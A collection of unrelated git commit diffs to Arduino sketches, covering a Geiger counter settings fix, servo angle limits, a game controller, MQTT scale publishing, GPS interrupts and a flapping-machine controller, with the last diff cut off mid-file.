Fixed a bug in reading geiger sensitivity, fixed beeps not playing when leaving settings.

--- Alicorn.ino
+++ Alicorn.ino
@@ -526,10 +526,10 @@
     EEPROM.write(EEPROM_GAS_SENSOR,       settings.gasSensor);
     EEPROM.write(EEPROM_GEIG_CLICKS,      settings.geigerClicks);
     EEPROM.write(EEPROM_GEIG_ALARM,       settings.geigerAlarm);
-    EEPROM.write(EEPROM_GEIG_SENSITIVITY, settings.geigerSensitivity);
-    EEPROM.write(EEPROM_INT_MEASURE,      settings.intervalMeasure / 1000);
-    EEPROM.write(EEPROM_INT_PUSH,         settings.intervalPush    / 1000);
-    EEPROM.write(EEPROM_INT_PULL,         settings.intervalPull    / 1000);
+    EEPROM.write(EEPROM_GEIG_SENSITIVITY, settings.geigerSensitivity / 100);
+    EEPROM.write(EEPROM_INT_MEASURE,      settings.intervalMeasure   / 1000);
+    EEPROM.write(EEPROM_INT_PUSH,         settings.intervalPush      / 1000);
+    EEPROM.write(EEPROM_INT_PULL,         settings.intervalPull      / 1000);
     EEPROM.write(EEPROM_WIFI,             settings.wifi);
     EEPROM.end();
     Serial.println("Saved settings to EEPROM.");
@@ -542,10 +542,10 @@
     settings.gasSensor         = (bool) EEPROM.read(EEPROM_GAS_SENSOR);
     settings.geigerClicks      = (bool) EEPROM.read(EEPROM_GEIG_CLICKS);
     settings.geigerAlarm       = (bool) EEPROM.read(EEPROM_GEIG_ALARM);
-    settings.geigerSensitivity = (int)  EEPROM.read(EEPROM_GEIG_SENSITIVITY);
-    settings.intervalMeasure   = (int)  EEPROM.read(EEPROM_INT_MEASURE) * 1000;
-    settings.intervalPush      = (int)  EEPROM.read(EEPROM_INT_PUSH)    * 1000;
-    settings.intervalPull      = (int)  EEPROM.read(EEPROM_INT_PULL)    * 1000;
+    settings.geigerSensitivity = (int)  EEPROM.read(EEPROM_GEIG_SENSITIVITY) * 100;
+    settings.intervalMeasure   = (int)  EEPROM.read(EEPROM_INT_MEASURE)      * 1000;
+    settings.intervalPush      = (int)  EEPROM.read(EEPROM_INT_PUSH)         * 1000;
+    settings.intervalPull      = (int)  EEPROM.read(EEPROM_INT_PULL)         * 1000;
     settings.wifi              = (int)  EEPROM.read(EEPROM_WIFI);
     EEPROM.end();
     Serial.println("Loaded settings from EEPROM.");
@@ -632,7 +632,6 @@
                         if (settings.lcdBacklight) {
                             states.screenSettings = !states.screenSettings;
                             states.screenPage = 0;
-                            resetLCD();

                             if (!states.screenSettings) {
                                 if (states.wifi != settings.wifi)
@@ -647,6 +646,8 @@
                                     noTone(PIN_BUZZER);
                                 }
                             }
+
+                            resetLCD();
                             // Serial.println("Settings pressed, now set to " + String(states.screenSettings));
                         }
                         break;


Added lower and upper limits

Added lower and upper limits

--- ZUArm.ino
+++ ZUArm.ino
@@ -2,6 +2,8 @@
 #include <Servo.h>

 int thetaPin[] = {3,5,6,9,10,11};
+int lowerLimit[] = {0,0,0,0,0,16};
+int upperLimit[] = {180,180,120,120,60};
 const int numberOfMotors = 6;
 //We define a servo instance for each motor
 Servo thetaServo[numberOfMotors];
@@ -13,9 +15,9 @@
   for (int i = 0; i < numberOfMotors; i++) {
     thetaServo[i].attach(thetaPin[i]);
   }
-  for (int i = 0; i < numberOfMotors; i++) {
-    thetaServo[i].write(0);
-  }
+   for (int i = 0; i < numberOfMotors; i++) {
+    thetaServo[i].write(lowerLimit[i]);
+  }
 }
 int Angle;
 void loop() {
@@ -26,7 +28,13 @@
    int servoNo = Serial.readStringUntil(' ').toInt();
    if (servoNo < numberOfMotors) {
      Angle = Serial.readStringUntil(':').toInt();
-     thetaServo[servoNo].write(Angle);
+     if (Angle < lowerLimit[servoNo]) {
+      thetaServo[servoNo].write(lowerLimit[servoNo]);
+     } else if (Angle > upperLimit[servoNo]) {
+      thetaServo[servoNo].write(upperLimit[servoNo]);
+     } else {
+      thetaServo[servoNo].write(Angle);
+     }
 //     Serial.print("Theta ");
 //   Serial.print(servoNo);
 //   Serial.print(" Was sent an angle of ");


improvements after real hardware testing

--- ksp-gegi/ksp-gegi.ino
+++ ksp-gegi/ksp-gegi.ino
@@ -1,12 +1,19 @@

 #include <Arduino.h>
+
+// P0:
+// potencjometr od nawilżacza
+// nieprzylutowane -> GND, środek (czerwony pasek) -> A0, przylutowane -> 5V
+// kalibracja: po włączeniu przekręcić w obie skrajne pozycje
+// D0:
+// zielona strona, pomiędzy GND a D4

 // circuit
 const int throttlePin = A0;  // P0: Analog input pin that the potentiometer is attached to
 const int stagePin = 4;      // D0: Digital input pin that STAGE button is attached to

 const int RCSPin = 5;        // D1: RCS switch
-const int ledRCSonPin = 6;   // G1: RCS status ON (green)
+const int ledRCSonPin = 13; //6;   // G1: RCS status ON (green)
 const int ledRCSoffPin = 7;  // R1: RCS status OFF (red)

 const int SCSPin = 8;        // D2: SCS switch
@@ -18,6 +25,7 @@
 int throttleValue = 0;
 int throttleMin = 1023;
 int throttleMax = 0;
+#define THROTTLE_THRESHOLD 4

 // switch control
 uint8_t lastStageState = HIGH;
@@ -50,22 +58,29 @@
 void updateThrottle() {
   // read the analog in value:
   throttleValue = analogRead(throttlePin);
-  // calibrate
+  // auto calibrate
   if (throttleValue>throttleMax) { throttleMax=throttleValue; }
   if (throttleValue<throttleMin) { throttleMin=throttleValue; }
   // map it to the range of the analog out:
   throttleValue = map(throttleValue, throttleMin, throttleMax, 0, 255);
   // is it different enough from last reading?
-  if (abs(throttleValue-lastThrottleValue)>4) {
+  if (abs(throttleValue-lastThrottleValue)>THROTTLE_THRESHOLD) {
+    if (throttleValue<THROTTLE_THRESHOLD) {
+      throttleValue = 0;
+    }
+    if (throttleValue>255-THROTTLE_THRESHOLD) {
+      throttleValue = 255;
+    }
     // dump status
     Serial.print("P0=");
     Serial.println(throttleValue,HEX);
+    lastThrottleValue = throttleValue;
   }
-  lastThrottleValue = throttleValue;
 }

 uint8_t updateButton(int pin, int id, uint8_t lastState) {
-  uint8_t state = digitalRead(pin);
+  // reverse logic because switches are to GND with internal pullup, so pushed state (ON) is 0V
+  uint8_t state = !digitalRead(pin);
   if (state != lastState) {
     Serial.print('D');
     Serial.print(id);
@@ -91,11 +106,12 @@
   char c;
   int ledpin=0,val=0,id=0;
   // format: "^LG1=0$" turn off green led 1 (RCS), "^LR2=1$" turn off red led 2 (SCS)
+  if (Serial.available()>0) {
   if (Serial.find("L")) {
     c = Serial.read();
     id = Serial.parseInt();  // skip '='
     val = Serial.parseInt(); // skip newline
-    Serial.print(c); Serial.print(id); Serial.print(val);  // echo
+    Serial.print(c); Serial.print(id); Serial.println(val);  // echo for ack
     if (c=='G' && id==1) { ledpin = ledRCSonPin; }
     if (c=='R' && id==1) { ledpin = ledRCSoffPin; }
     if (c=='G' && id==2) { ledpin = ledSCSonPin; }
@@ -107,6 +123,7 @@
         digitalWrite(ledpin,HIGH);
       }
     }
+  }
   }
 }


putting mrlcomm version 20 back into the repo until v21 is ready for release.

--- src/resource/Arduino/MRLComm.ino
+++ src/resource/Arduino/MRLComm.ino
@@ -44,7 +44,8 @@
 #define REMOVE_ANALOG_TRIGGER			18
 #define SET_DIGITAL_TRIGGER				19
 #define REMOVE_DIGITAL_TRIGGER			20
-#define SET_DEBOUNCE					21
+#define DIGITAL_DEBOUNCE_ON				21
+#define DIGITAL_DEBOUNCE_OFF			22
 #define DIGITAL_TRIGGER_ONLY_ON			23
 #define DIGITAL_TRIGGER_ONLY_OFF		24
 #define SET_SERIAL_RATE					25
@@ -71,7 +72,7 @@
 #define SERVO_EVENTS_ENABLE				40
 #define SERVO_EVENT					41

-#define SET_LOAD_TIMING_ENABLED				42
+#define LOAD_TIMING_ENABLE				42
 #define LOAD_TIMING_EVENT				43

 #define STEPPER_ATTACH					44
@@ -543,7 +544,7 @@
 			break;
 		}

-		case SET_LOAD_TIMING_ENABLED:{
+		case LOAD_TIMING_ENABLE:{
 			loadTimingEnabled = ioCmd[1];
 			//loadTimingModulus = ioCmd[2];
 			loadTimingModulus = 1000;
@@ -616,15 +617,25 @@
 			break;
 		}

-		case SET_DEBOUNCE:{
-			// default debounceDelay = 50;
+		case DIGITAL_DEBOUNCE_ON:{
+			// debounceDelay = 50;
 			debounceDelay = ((ioCmd[1]<<8) + ioCmd[2]);
 			break;
 		}

-		case DIGITAL_TRIGGER_ONLY:{
-			digitalTriggerOnly = ioCmd[1];
-			break;
+		case DIGITAL_DEBOUNCE_OFF:{
+			debounceDelay = 0;
+			break;
+		}
+
+		case DIGITAL_TRIGGER_ONLY_ON:{
+			digitalTriggerOnly = true;
+			break;
+
+		case DIGITAL_TRIGGER_ONLY_OFF:
+			digitalTriggerOnly = false;
+			break;
+		}

 		case SET_SERIAL_RATE:
 		{
@@ -1136,4 +1147,4 @@
 	Serial.write(msgBuf, num + 2);
 	return;
 }
-*/+*/


Fixed format specifiers

Fixed format specifiers

--- receiver/receiver.ino
+++ receiver/receiver.ino
@@ -171,10 +171,10 @@
     } else if (!strcmp(message, "getid")) {
         Serial.println(endpointID, HEX);
         Serial.println(F("OK"));
-    } else if (sscanf(message, "setid %hhui", &id) == 1) {
+    } else if (sscanf(message, "setid %hhu", &id) == 1) {
         setEndpointID(id);
         Serial.println(F("OK"));
-    } else if (sscanf(message, "setrgb %hhui %hhui %hhui", &r, &g, &b) == 3) {
+    } else if (sscanf(message, "setrgb %hhu %hhu %hhu", &r, &g, &b) == 3) {
         setRGB(r, g, b);
         Serial.println(F("OK"));
     } else {


missed led and fixed output to make more sense

--- hardware/esp8266com/esp8266/libraries/ESP8266WebServer/examples/HelloServer/HelloServer.ino
+++ hardware/esp8266com/esp8266/libraries/ESP8266WebServer/examples/HelloServer/HelloServer.ino
@@ -14,15 +14,16 @@
 void handleRoot() {
   digitalWrite(led, 1);
   server.send(200, "text/plain", "hello from esp8266!");
+  digitalWrite(led, 0);
 }

 void handleNotFound(){
   digitalWrite(led, 1);
-  String message = "URI: ";
+  String message += "File Not Found\n\n";
+  message += "URI: ";
   message += server.uri();
   message += "\nMethod: ";
   message += (server.method() == HTTP_GET)?"GET":"POST";
-  message += "\nNot Found!\n\n";
   message += "\nArguments: ";
   message += server.args();
   message += "\n";


readTag now just exports tagMessage on its own

--- firmware/examples/readTag/readtag.ino
+++ firmware/examples/readTag/readtag.ino
@@ -1,3 +1,4 @@
+#define DEBUG=false
 #include "application.h"
 #include "pn532_i2c_particle/pn532_i2c_particle.h"
 #include "pn532_i2c_particle/PN532.h"


topicAverage

topicAverage

--- _03-hx711-scale/_03-hx711-scale-v3-adaptor/_03-hx711-scale-esp-12/_03-hx711-scale-esp-12.ino
+++ _03-hx711-scale/_03-hx711-scale-v3-adaptor/_03-hx711-scale-esp-12/_03-hx711-scale-esp-12.ino
@@ -17,7 +17,10 @@

 #define nemoisOnPin 14

-char* topic = "esp8266/arduino/s06";
+char* topicEvery   = "esp8266/arduino/s16";
+char* topicAverage = "esp8266/arduino/s06";
+
+
 char* hellotopic = "HELLO";

 String clientName;
@@ -82,7 +85,7 @@
   if (client.connect((char*) clientName.c_str())) {
     Serial.println("Connected to MQTT broker");
     Serial.print("Topic is: ");
-    Serial.println(topic);
+    Serial.println(topicEvery);

     if (client.publish(hellotopic, "hello from ESP8266 s06")) {
       Serial.println("Publish ok");
@@ -129,7 +132,7 @@
        payload += x;
        payload += "}";

-      sendHx711(payload);
+      sendHx711topicEvery(payload);
     }

      if ( c == 1 ) {
@@ -141,18 +144,18 @@
        payload += x;
        payload += "}";

-      sendHx711(payload);
-    }
-
-}
-
-
-void sendHx711(String payload) {
+      sendHx711topicAverage(payload);
+    }
+
+}
+
+
+void sendHx711topicEvery(String payload) {
   if (!client.connected()) {
     if (client.connect((char*) clientName.c_str())) {
       Serial.println("Connected to MQTT broker again HX711");
       Serial.print("Topic is: ");
-      Serial.println(topic);
+      Serial.println(topicEvery);
     }
     else {
       Serial.println("MQTT connect failed");
@@ -166,7 +169,40 @@
     Serial.println(payload);

     if (
-      client.publish(MQTT::Publish(topic, (char*) payload.c_str())
+      client.publish(MQTT::Publish(topicEvery, (char*) payload.c_str())
+                     .set_retain()
+                    )
+    ) {
+      Serial.println("Publish ok");
+    }
+    else {
+      Serial.println("Publish failed");
+    }
+  }
+
+}
+
+
+void sendHx711topicAverage(String payload) {
+  if (!client.connected()) {
+    if (client.connect((char*) clientName.c_str())) {
+      Serial.println("Connected to MQTT broker again HX711");
+      Serial.print("Topic is: ");
+      Serial.println(topicAverage);
+    }
+    else {
+      Serial.println("MQTT connect failed");
+      Serial.println("Will reset and try again...");
+      abort();
+    }
+  }
+
+  if (client.connected()) {
+    Serial.print("Sending payload: ");
+    Serial.println(payload);
+
+    if (
+      client.publish(MQTT::Publish(topicAverage, (char*) payload.c_str())
                      .set_retain()
                     )
     ) {


Removed semi_automatic

Removed semi_automatic

--- firmware/examples/Address_Scanner.ino
+++ firmware/examples/Address_Scanner.ino
@@ -24,10 +24,6 @@
 // Only include One of the following depending on your environment!
 #include "OneWire/OneWire.h"  // Use this include for the Web IDE:
 // #include "OneWire.h" // Use this include for Particle Dev where everything is in one directory.
-
-
-// Comment this out for normal operation
-SYSTEM_MODE(SEMI_AUTOMATIC);  // skip connecting to the cloud for (Electron) testing

 OneWire ds = OneWire(D4);  // 1-wire signal on pin D4


send_info

--- gestureDetection/gestureDetection.ino
+++ gestureDetection/gestureDetection.ino
@@ -64,6 +64,15 @@
   should_catapult = true;
   x++;
 }
+
+void send_info(state gestureState,uint8_t turning_speed, bool should_catapult){
+    // Sample sent message: 1 30 0#
+    String gestureString = String(gestureState);
+    String turnSpeed = String(turning_speed);
+    String shot = String(should_catapult);
+    Serial.print(turnSpeed + " " + gestureString + " " + shot + "#");
+
+}
 void setup(){
   Wire.begin();
   mpu.initialize();
@@ -122,9 +131,9 @@

   //Serial.print("state is "); Serial.println(gestureState);
   //Serial.print("turningSpeed is "); Serial.println(turning_speed);
-  //delay(333);
+  delay(333);
   /*Xbee send packets to inform*/
-  //send_info(gestureState,turningSpeed,should_catapult);
+  send_info(gestureState,turning_speed,should_catapult);
   //should_catapult = false;


document mapping on box

document mapping on box

--- EverythingOn/EverythingOn.ino
+++ EverythingOn/EverythingOn.ino
@@ -1,19 +1,19 @@
-typedef enum {
-    HackH = 48,
-    HackA = 26,
-    HackC = 24,
-    HackK = 46,
-    MiddleA = 36,
-    ColaC = 38,
-    ColaO = 28,
-    ColaL = 40,
-    ColaA = 30,
-    RedZero = 44,
-    RedOne = 34,
-    RedTwo = 50,
-    RedThree = 42,
-    RedFour = 22,
-    RedFive = 32
+typedef enum {     // pos: x, y
+    HackH = 48,    //  Lh: 2, 1
+    HackA = 26,    //  La: 0, 3
+    HackC = 24,    //  Lc: 3, 0
+    HackK = 46,    //  Lk: 2, 2
+    MiddleA = 36,  //  -a: 2, 1
+    ColaC = 38,    //  Rc: 1, 1
+    ColaO = 28,    //  Ro: 0, 1
+    ColaL = 40,    //  Rl: 0, 1
+    ColaA = 30,    //  Ra: 0, 0
+    RedZero = 44,  //  B0: 3, 2
+    RedOne = 34,   //  B1: 3, 1
+    RedTwo = 50,   //  B2: 0, 2
+    RedThree = 42, //  B3: 4, 2
+    RedFour = 22,  //  B4: 4, 0
+    RedFive = 32   //  B5: 4, 1
  } Map;

 static int Lights[16] = {


slow the pulse animation down a bit

slow the pulse animation down a bit

--- sploder.ino
+++ sploder.ino
@@ -29,7 +29,7 @@
 // current brightness of the firing LED (to enable pulsing); see the helpers for a little more detail
 const float START_RADIAN = 4.712; // Start at the mid-point of the sin wave (all the way off)
 const float MAX_RADIAN = 10.995;
-const float RADIAN_STEP = 0.0005; // how many radians do we step the sign wave per loop?
+const float RADIAN_STEP = 0.00025; // how many radians do we step the sign wave per loop?
 const float SIN_OFFSET = 127.5; // the offset to map the sin values back to 0-255 for analogWrite
 float firingLEDBrightness = START_RADIAN;


Add text mode input handling

Add text mode input handling

...not tested! And add more #if TEXTMODEs where they're needed.

--- blume.ino
+++ blume.ino
@@ -339,6 +339,12 @@
       Serial.println(F("Can't modify frame timing without image frames first"));
       settings = previous;
     }
+#if TEXTMODE
+  } else if (settings.mode == 'T') {
+    // Read up to the full length of text, or until a null terminator.
+    // Less error handling here; we don't really care what we get.
+    Serial.readBytesUntil('\0', text, sizeof(text));
+#endif
   }

   /*Serial.print(len);
@@ -413,8 +419,10 @@
     runPixels(true);
   } else if (settings.mode == 'B') {
     runBlobs(true);
+#if TEXTMODE
   } else if (settings.mode == 'T') {
     runText(true);
+#endif
   } else {
     Serial.print(F("Unknown mode: "));
     Serial.println(settings.mode);
@@ -433,8 +441,10 @@
     runPixels(false);
   } else if (settings.mode == 'B') {
     runBlobs(false);
+#if TEXTMODE
   } else if (settings.mode == 'T') {
     runText(false);
+#endif
   }
 }


Add PPS interrupt to only enter calculation/print routine every second/ when new data arrives

--- src/src.ino
+++ src/src.ino
@@ -23,6 +23,7 @@
 Adafruit_GPS GPS(&GPSSerial);

 uint8_t tracking_en = 0 ;
+uint8_t new_data = 0 ;

 void setup(void)
 {
@@ -47,6 +48,7 @@
   //fram_init() ;

   attachInterrupt(1, isr_tracking, HIGH);
+  attachInterrupt(0, isr_pps, RISING) ;
   GPS.sendCommand(PMTK_STANDBY) ;
 }

@@ -61,8 +63,9 @@
     if (GPS.newNMEAreceived()) {

       // add back in && GPS.fix
-      if (GPS.parse(GPS.lastNMEA()) && GPS.fix) {
+      if (GPS.parse(GPS.lastNMEA()) && GPS.fix && new_data) {
         print_GPS_results() ;
+        new_data = 0 ;
       }
     }
   }
@@ -153,3 +156,8 @@
     interrupts() ;
   }
  }
+
+ void isr_pps(void)
+ {
+   new_data = 1 ;
+ }


Update - New Feature, change cpu dynamically

--- examples/reduced_cpu_block/reduced_cpu_block.ino
+++ examples/reduced_cpu_block/reduced_cpu_block.ino
@@ -5,8 +5,6 @@
  * functionality at F_CPU to work at 2 MHz.
  ****************************************/
 #include <Snooze.h>
-
-SnoozeBlock config;

 #ifdef __cplusplus
 extern "C" {
@@ -26,6 +24,9 @@
     /*
      * code inside this macro
      * will run at 2 MHz.
+     * code outside will run
+     * at whatever F_CPU you
+     * compiled at.
      */
     REDUCED_CPU_BLOCK() {
         SOS_LP();// 2 MHz


Add support for solenoid and parameters for stepper control

--- src/FlappingMachine.ino
+++ src/FlappingMachine.ino
@@ -1,4 +1,5 @@
-#include <Me_BaseShield.h>
+ #include <Me_BaseShield.h>
+#include <Me_BaseShieldMotorDriver.h>
 #include <Me_InfraredReceiver.h>
 #include <Me_UltrasonicSensor.h>
 #include "MakeblockStepper.h"
@@ -21,27 +22,40 @@

 int fsmState;

+/* Hardware components */
 Me_BaseShield baseShield;
 Me_InfraredReceiver infraredReceiver; /* Note: As the code need to use interrupt 0, it works only when the Me - Infrared Receiver module is connected to the port 4(PORT_4) of Me - Base Shield. */
 Me_UltrasonicSensor ultraSensor( PORT_5 ); //Ultrasonic module can ONLY be connected to port 3, 4, 5, 6, 7, 8 of base shield. ultraSensor.distanceCm()
 // MakeblockStepper moveItemStepper( 3200, baseShield, PORT_3 );
-Me_ServoDriver servoDriver( PORT_2 ); //can ONLY be PORT_1,PORT_2
-AccelStepper moveItemStepper( forwardstep, backwardstep );
-boolean moveItemStepperIsRunning = false;
+Me_ServoDriver servoDriver( PORT_1 ); //can ONLY be PORT_1,PORT_2
+Me_BaseShieldMotorDriver baseShieldMotorDriver;

 /* Flapping servo */
-int SERVO1_UP = 130;
-int SERVO1_DOWN = 115;
-int lowerTopFlapDelay = 400;
+int SERVO1_UP = 133;
+int SERVO1_DOWN = 110;
+int lowerTopFlapDelay = 200;

 /* Move item stepper */
 int portNo = PORT_3;
-int pulseLength = 30;
-float maxSpeed = 6400.0;
-float acceleration = 38100.0;
-int moveItemInSteps = 10000;
-int pullBackFlapSteps = 750;
-int moveItemOutSteps = -4800;
+AccelStepper moveItemStepper( forwardstep, backwardstep );
+int MOVE_ITEM_STEPPER_PULSE_LENGTH = 30;
+float MOVE_ITEM_STEPPER_MAX_SPEED = 2500.0;
+float MOVE_ITEM_IN_MAX_SPEED = 2500.0;
+float PULL_BACK_FLAP_MAX_SPEED = 2000.0;
+float MOVE_ITEM_OUT_STEPPER_MAX_SPEED = 2500.0;
+float MOVE_ITEM_STEPPER_ACCELERATION = 30000.0;
+int MOVE_ITEM_IN_STEPS = 10000;
+int PULL_BACK_FLAP_STEPS = 600;
+int MOVE_ITEM_OUT_STEPS = 650;
+boolean moveItemStepperIsRunning = false;
+
+/* Solenoid contact servo */
+int CONTACT_OFF_POSITION = 140;
+int CONTACT_ON_POSITION = 180;
+
+/* Output conveyor motor */
+int OUTPUT_CONVEYANCE_SPEED = -190;
+int OUTPUT_CONVEYANCE_DURATION = 155;

 void setup() {
   // Initailize FSM
@@ -55,24 +69,32 @@
   //infraredReceiver.begin();
   ultraSensor.begin();

-  moveItemStepper.setMaxSpeed( maxSpeed );
-  moveItemStepper.setAcceleration( acceleration );
+  moveItemStepper.setMaxSpeed( MOVE_ITEM_STEPPER_MAX_SPEED );
+  moveItemStepper.setAcceleration( MOVE_ITEM_STEPPER_ACCELERATION );

   servoDriver.Servo1_begin();
+  servoDriver.Servo2_begin();

   /* Servo test */
   servoDriver.writeServo1( SERVO1_UP );
-  delay( 500 );
+  delay( 300 );
   servoDriver.writeServo1( SERVO1_DOWN );
-  delay( 500 );
+  delay( 300 );
   servoDriver.writeServo1( SERVO1_UP );

+  servoDriver.writeServo2( CONTACT_OFF_POSITION );
+  servoDriver.writeServo2( CONTACT_ON_POSITION );
+  delay( 300 );
+  servoDriver.writeServo2( CONTACT_OFF_POSITION );
+
   /* Move item stepper test */

   moveItemStepper.runToNewPosition( 800 );

   Serial.print( "setup: stopMicroSwitch = ");
   Serial.println( baseShield.readMePortOutsidePin( PORT_8 ) );
+
+  baseShieldMotorDriver.begin();

 }

@@ -113,7 +135,8 @@
       Serial.print( "distanceToGo = "); Serial.println( moveItemStepper.distanceToGo() );
       Serial.print( "speed = "); Serial.println( moveItemStepper.speed() );*/
       if ( stopMicroSwitch == HIGH && moveItemStepper.distanceToGo() == 0 ) {
-        moveItemStepper.move( moveItemInSteps );
+        moveItemStepper.setMaxSpeed( MOVE_ITEM_IN_MAX_SPEED );
+        moveItemStepper.move( MOVE_ITEM_IN_STEPS );
         Serial.print( "targetPosition = "); Serial.println( moveItemStepper.targetPosition() );
         fsmState = STATE_MOVE_ITEM_IN;
       } else if ( stopMicroSwitch == HIGH && moveItemStepper.distanceToGo() > 0 ) {
@@ -133,8 +156,9 @@

     case STATE_PULL_BACK_FLAP:
       //Serial.println( "PULL BACK FLAP" );
-      if ( moveItemStepper.distanceToGo() == 0 && !moveItemStepperIsRunning ) {
-        moveItemStepper.move( pullBackFlapSteps );
+      if ( moveItemStepper.distanceToGo() == 0 && !moveItemStepperIsRunning ) {
+        moveItemStepper.setMaxSpeed( PULL_BACK_FLAP_MAX_SPEED );
+        moveItemStepper.move( PULL_BACK_FLAP_STEPS );
         Serial.print( "distanceToGo = "); Serial.println( moveItemStepper.distanceToGo() );
         Serial.print( "targetPosition = "); Serial.println( moveItemStepper.targetPosition() );
         moveItemStepperIsRunning = true;
@@ -180,19 +204,29 @@
       break;

     case STATE_MOVE_ITEM_OUT_PHASE_ONE:
-      if ( stopMicroSwitch == LOW && moveItemStepper.distanceToGo() == 0 ) {
-        moveItemStepper.move( moveItemOutSteps );
+      if (stopMicroSwitch == LOW && !moveItemStepperIsRunning && moveItemStepper.distanceToGo() == 0 ) {
+        servoDriver.writeServo2( CONTACT_ON_POSITION );
+        delay( 100 ); // In order to not putting to much pressure from the side on the solenoids
+        moveItemStepper.setMaxSpeed( MOVE_ITEM_OUT_STEPPER_MAX_SPEED );
+        moveItemStepper.move( MOVE_ITEM_OUT_STEPS );
+        moveItemStepperIsRunning = true;
+        baseShieldMotorDriver.runMotor1( OUTPUT_CONVEYANCE_SPEED );
         fsmState = STATE_MOVE_ITEM_OUT_PHASE_ONE;
       } else if ( moveItemStepper.distanceToGo() != 0) {
         moveItemStepper.run();
         fsmState = STATE_MOVE_ITEM_OUT_PHASE_ONE;
       } else {
+        moveItemStepperIsRunning = false;
         fsmState = STATE_MOVE_ITEM_OUT_PHASE_TWO;
       }
       break;

     case STATE_MOVE_ITEM_OUT_PHASE_TWO:
       Serial.println( "MOVE ITEM OUT PHASE TWO" );
+        delay( OUTPUT_CONVEYANCE_DURATION );
+        baseShieldMotorDriver.stopMotor1();
+        servoDriver.writeServo2( CONTACT_OFF_POSITION );
+
       //if ( usDistance > 10 ) {
         //moveItemStepper.step( -600 );
         //moveItemStepper.move( -600 );
@@ -211,21 +245,21 @@

 void forwardstep() {
   baseShield.setMePort(portNo, LOW, HIGH);
-  delayMicroseconds( pulseLength );
+  delayMicroseconds( MOVE_ITEM_STEPPER_PULSE_LENGTH );
   baseShield.setMePort(portNo, HIGH, HIGH);
-  delayMicroseconds( pulseLength );
+  delayMicroseconds( MOVE_ITEM_STEPPER_PULSE_LENGTH );
   baseShield.setMePort(portNo, HIGH, LOW);
-  delayMicroseconds( pulseLength );
+  delayMicroseconds( MOVE_ITEM_STEPPER_PULSE_LENGTH );
   baseShield.setMePort(portNo, LOW, LOW);
-  delayMicroseconds( pulseLength );
+  delayMicroseconds( MOVE_ITEM_STEPPER_PULSE_LENGTH );
 }
 void backwardstep() {
   baseShield.setMePort(portNo, LOW, LOW);
-  delayMicroseconds( pulseLength );
+  delayMicroseconds( MOVE_ITEM_STEPPER_PULSE_LENGTH );
   baseShield.setMePort(portNo, HIGH, LOW);
-  delayMicroseconds( pulseLength );
+  delayMicroseconds( MOVE_ITEM_STEPPER_PULSE_LENGTH );
   baseShield.setMePort(portNo, HIGH, HIGH);
-  delayMicroseconds( pulseLength );
+  delayMicroseconds( MOVE_ITEM_STEPPER_PULSE_LENGTH );
   baseShield.setMePort(portNo, LOW, HIGH);
-  delayMicroseconds( pulseLength );
-}
+  delayMicroseconds( MOVE_ITEM_STEPPER_PULSE_LENGTH );
+}


Fix example's mismatched width & height parameters

This resolve the change from https://github.com/adafruit/Adafruit-PCD8544-Nokia-5110-LCD-library/pull/17 which found the width & height to the testdrawbitmap function are swapped, which causes confusion when a non-square image is used with the example code.

--- examples/pcdtest/pcdtest.ino
+++ examples/pcdtest/pcdtest.ino
@@ -150,7 +150,7 @@
   delay(1000);

   // draw a bitmap icon and 'animate' movement
-  testdrawbitmap(logo16_glcd_bmp, LOGO16_GLCD_HEIGHT, LOGO16_GLCD_WIDTH);
+  testdrawbitmap(logo16_glcd_bmp, LOGO16_GLCD_WIDTH, LOGO16_GLCD_HEIGHT);
 }


Autoformat code to Arduino standard

Autoformat code to Arduino standard

--- mpuslave/mpuslave.ino
+++ mpuslave/mpuslave.ino
@@ -33,149 +33,149 @@

 void dmpDataReady()
 {
-	mpuInterrupt = true;
+  mpuInterrupt = true;
 }

 void setup()
 {
-    //Configure Serial Port
-    Serial.begin(115200);
-    //Echo formulae
-    //Log("accel # %f"  "\t%f"  "\t%f"  "\n", (float)aa.x / 16384 * 2, (float)aa.y / 16384 * 2, (float)aa.z / 16384 * 2);
-    Log("");
-    Serial.print("acc => (float)aa.x / 16384 * 2 || ");
-    //Log("euler # %f\t%f\t%f\n", euler[0] / 3.14159265 * 180, euler[1] / 3.14159265 * 180, euler[2] / 3.14159265 * 180);
-    Log("euler => euler[0] / 3.14159265 * 180");
-
+  //Configure Serial Port
+  Serial.begin(115200);
+  //Echo formulae
+  //Log("accel # %f"  "\t%f"  "\t%f"  "\n", (float)aa.x / 16384 * 2, (float)aa.y / 16384 * 2, (float)aa.z / 16384 * 2);
+  Log("");
+  Serial.print("acc => (float)aa.x / 16384 * 2 || ");
+  //Log("euler # %f\t%f\t%f\n", euler[0] / 3.14159265 * 180, euler[1] / 3.14159265 * 180, euler[2] / 3.14159265 * 180);
+  Log("euler => euler[0] / 3.14159265 * 180");
+
   // join I2C bus (I2Cdev library doesn't do this automatically)
-  #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE
-  	Wire.begin();
-  	//TWBR = 24; // 400kHz I2C clock (200kHz if CPU is 8MHz)
-  #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE
-  	Fastwire::setup(400, true);
-  #endif
-  	// initialize device
-  	Log("Initializing I2C devices...\n");
-  	mpu.initialize();
-  	// verify connection
-  	Log("Testing device connections...\n");
-  	Log(mpu.testConnection() ? ("MPU6050 connection successful\n") : ("MPU6050 connection failed\n"));
-  	// load and configure the DMP
-  	Log("Initializing DMP...\n");
-  	devStatus = mpu.dmpInitialize();
-  	// supply your own gyro offsets here, scaled for min sensitivity
-  	/*mpu.setXGyroOffset(220);
-  	mpu.setYGyroOffset(76);
-  	mpu.setZGyroOffset(-85);
-  	mpu.setZAccelOffset(1788);*/
-  	// make sure it worked (returns 0 if so)
-  	if (devStatus == 0)
-  	{
-  		// turn on the DMP, now that it's ready
-  		Log("Enabling DMP...\n");
-  		mpu.setDMPEnabled(true);
+#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE
+  Wire.begin();
+  //TWBR = 24; // 400kHz I2C clock (200kHz if CPU is 8MHz)
+#elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE
+  Fastwire::setup(400, true);
+#endif
+  // initialize device
+  Log("Initializing I2C devices...\n");
+  mpu.initialize();
+  // verify connection
+  Log("Testing device connections...\n");
+  Log(mpu.testConnection() ? ("MPU6050 connection successful\n") : ("MPU6050 connection failed\n"));
+  // load and configure the DMP
+  Log("Initializing DMP...\n");
+  devStatus = mpu.dmpInitialize();
+  // supply your own gyro offsets here, scaled for min sensitivity
+  /*mpu.setXGyroOffset(220);
